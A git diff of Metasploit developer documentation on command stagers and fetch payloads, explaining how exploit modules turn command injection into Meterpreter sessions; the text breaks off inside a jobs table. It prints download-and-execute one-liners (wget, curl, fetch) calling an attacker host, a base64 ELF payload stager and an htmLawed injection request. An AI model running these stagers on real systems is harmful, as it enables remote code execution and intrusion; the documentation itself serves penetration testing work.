[kernel32!GetLastError]: https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
|
||||
|
||||
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
|
||||
# The Vulnerability Test Case
|
||||
|
||||
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
|
||||
|
||||
**2. Declare your flavors**
|
||||
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
|
||||
|
||||
An example of setting flavors for a specific target:
|
||||
|
||||
@@ -98,16 +98,37 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
|
||||
|
||||
**3. Create the execute_command method**
|
||||
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
|
||||
```ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
|
||||
|
||||
**4. Decide on the supported payloads**
|
||||
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
|
||||
|
||||
Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
```ruby
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
|
||||
**4. Executing a payload**
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
|
||||
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
|
||||
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
|
||||
|
||||
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
|
||||
end
|
||||
```
|
||||
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
|
||||
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
|
||||
|
||||
Over the years, we have also learned that these options are quite handy when calling
|
||||
`execute_cmdstager`:
|
||||
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
|
||||
# Flavors
|
||||
|
||||
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
|
||||
stagers you can use.
|
||||
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
|
||||
|
||||
Available flavors:
|
||||
|
||||
Flavors requiring the payload to be broken apart and embedded into the commands:
|
||||
* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
|
||||
* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
|
||||
* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
|
||||
* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
|
||||
* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
Flavors that rely on using a command to retrieve the payload via network connection
|
||||
* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
|
||||
* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
|
||||
* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
|
||||
* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
|
||||
## VBS Command Stager - Windows Only
|
||||
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
|
||||
|
||||
## Certutil Command Stager - Windows Only
|
||||
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
|
||||
|
||||
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
|
||||
|
||||
```bash
|
||||
echo -----BEGIN CERTIFICATE----- > encoded.txt
|
||||
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
|
||||
|
||||
**Linemax** minimum: 373
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
|
||||
```
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
|
||||
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
|
||||
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
|
||||
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
|
||||
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
|
||||
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
|
||||
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
|
||||
/tmp/XtMnQ.b64'"]
|
||||
```
|
||||
To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
|
||||
|
||||
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
|
||||
|
||||
```
|
||||
```bash
|
||||
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
|
||||
```
|
||||
|
||||
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
|
||||
|
||||
## cURL Command Stager - Multi Platform
|
||||
|
||||
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
|
||||
```
|
||||
To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
|
||||
|
||||
## wget Command Stager - Multi Platform
|
||||
|
||||
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
|
||||
```
|
||||
|
||||
To use the wget stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
|
||||
|
||||
## LWP Request Command Stager - Multi Platform
|
||||
|
||||
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
|
||||
|
||||
```
|
||||
|
||||
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
|
||||
|
||||
## Fetch Command Stager - BSD Only
|
||||
|
||||
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
|
||||
```
|
||||
To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
# Fetch Payloads
|
||||
|
||||
## What Are Fetch Payloads?
|
||||
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
|
||||
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
|
||||
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
|
||||
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
|
||||
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
|
||||
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
|
||||
command injection or code execution vulnerability *and* a known binary with the ability to download and store
|
||||
a file.
|
||||
|
||||
## Terminology
|
||||
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
|
||||
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
|
||||
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
|
||||
cURL, or Certutil.
|
||||
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
|
||||
`Fetch Listener` - The server hosting the served payload.
|
||||
`Fetch Handler` - The same as `Fetch Listener`
|
||||
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
|
||||
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
|
||||
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
|
||||
|
||||
## Organization
|
||||
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
|
||||
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
|
||||
remote host to download the served payload prior to execution.
|
||||
|
||||
Here is the naming convention for fetch payloads:
|
||||
`<cmd>/<platform>/<fetch protocol>/served_payload`
|
||||
For example:
|
||||
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
|
||||
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
|
||||
2) Serve the above served payload on an HTTPS server
|
||||
3) Start a served payload handler for the served payload to call back to
|
||||
4) Generate a command to execute on a remote host that will download the served payload and run it.
|
||||
|
||||
|
||||
## A Simple Stand-Alone Example
|
||||
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
|
||||
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
|
||||
First, let's look at the payload in isolation:
|
||||
```msf
|
||||
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
|
||||
|
||||
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
|
||||
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
### Options
|
||||
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
|
||||
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
|
||||
into more details on the binaries later.
|
||||
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
|
||||
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
|
||||
`FETCH_SRVHOST` is the IP where the server will listen.
|
||||
`FETCH_SRVPORT` is the port where the server will listen.
|
||||
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
|
||||
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
|
||||
served payload is the same.
|
||||
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
|
||||
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
|
||||
|
||||
The remaining options will be the options available to you in the served payload; in this case our served payload is
|
||||
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
|
||||
payload, we would see different options.
|
||||
|
||||
### Generating the Fetch Payload
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
|
||||
FETCH_COMMAND => WGET
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
|
||||
FETCH_SRVHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
|
||||
FETCH_SRVPORT => 8000
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
|
||||
LHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
|
||||
LPORT => 4567
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
|
||||
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
You can see the fetch payload generated:
|
||||
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
|
||||
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
|
||||
|
||||
### Starting the Fetch Server
|
||||
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
|
||||
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
|
||||
started:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
|
||||
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
|
||||
[*] Payload Handler Started as Job 0
|
||||
[*] Fetch Handler listening on 10.5.135.201:8000
|
||||
[*] http server started
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4567
|
||||
```
|
||||
|
||||
### Fetch Handlers and Served Payload Handlers
|
||||
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
|
||||
`Jobs`, even though the Fetch Handler is listening:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
|
||||
|
||||
```
|
||||
Killing the Served Payload handler will kill the Fetch Handler as well:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
|
||||
[*] Stopping the following job(s): 0
|
||||
[*] Stopping job 0
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
## Using Fetch Payloads on the Fly
|
||||
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
|
||||
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
|
||||
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
|
||||
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
|
||||
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
|
||||
|
||||
## Using it in an exploit
|
||||
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
|
||||
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
|
||||
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
|
||||
the command to execute on the remote target.
|
||||
|
||||
### Example paired with CmdStager
|
||||
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
|
||||
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
|
||||
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
|
||||
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
|
||||
|
||||
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
|
||||
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
|
||||
``` ruby
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux Command',
|
||||
{
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Type' => :nix_cmd
|
||||
}
|
||||
]
|
||||
]
|
||||
```
|
||||
|
||||
For the `execute_command` method, nothing changes:
|
||||
|
||||
```ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
|
||||
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
|
||||
needs to change.
|
||||
|
||||
```ruby
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
|
||||
like Fetch Payloads, you can simply add the `linux` value to the platform array:
|
||||
|
||||
```ruby
|
||||
'Nix Command',
|
||||
{
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
}
|
||||
```
|
||||
|
||||
## Supported Commands
|
||||
### Windows And Linux Both
|
||||
#### `CURL`
|
||||
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
|
||||
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
|
||||
targets. All options and server protocol types are supported by the cURL command.
|
||||
|
||||
#### `TFTP`
|
||||
The TFTP binary is useful only in edge cases because of a long list of limitations:
|
||||
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
|
||||
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
|
||||
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
|
||||
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
|
||||
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
|
||||
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
|
||||
the connection with a tool like iptables to a high port.
|
||||
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
|
||||
on UDP port 69 to UDP port 3069:
|
||||
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
|
||||
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
|
||||
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
|
||||
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
|
||||
start a tftp fetch handler, a new service will start:
|
||||
```msf
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
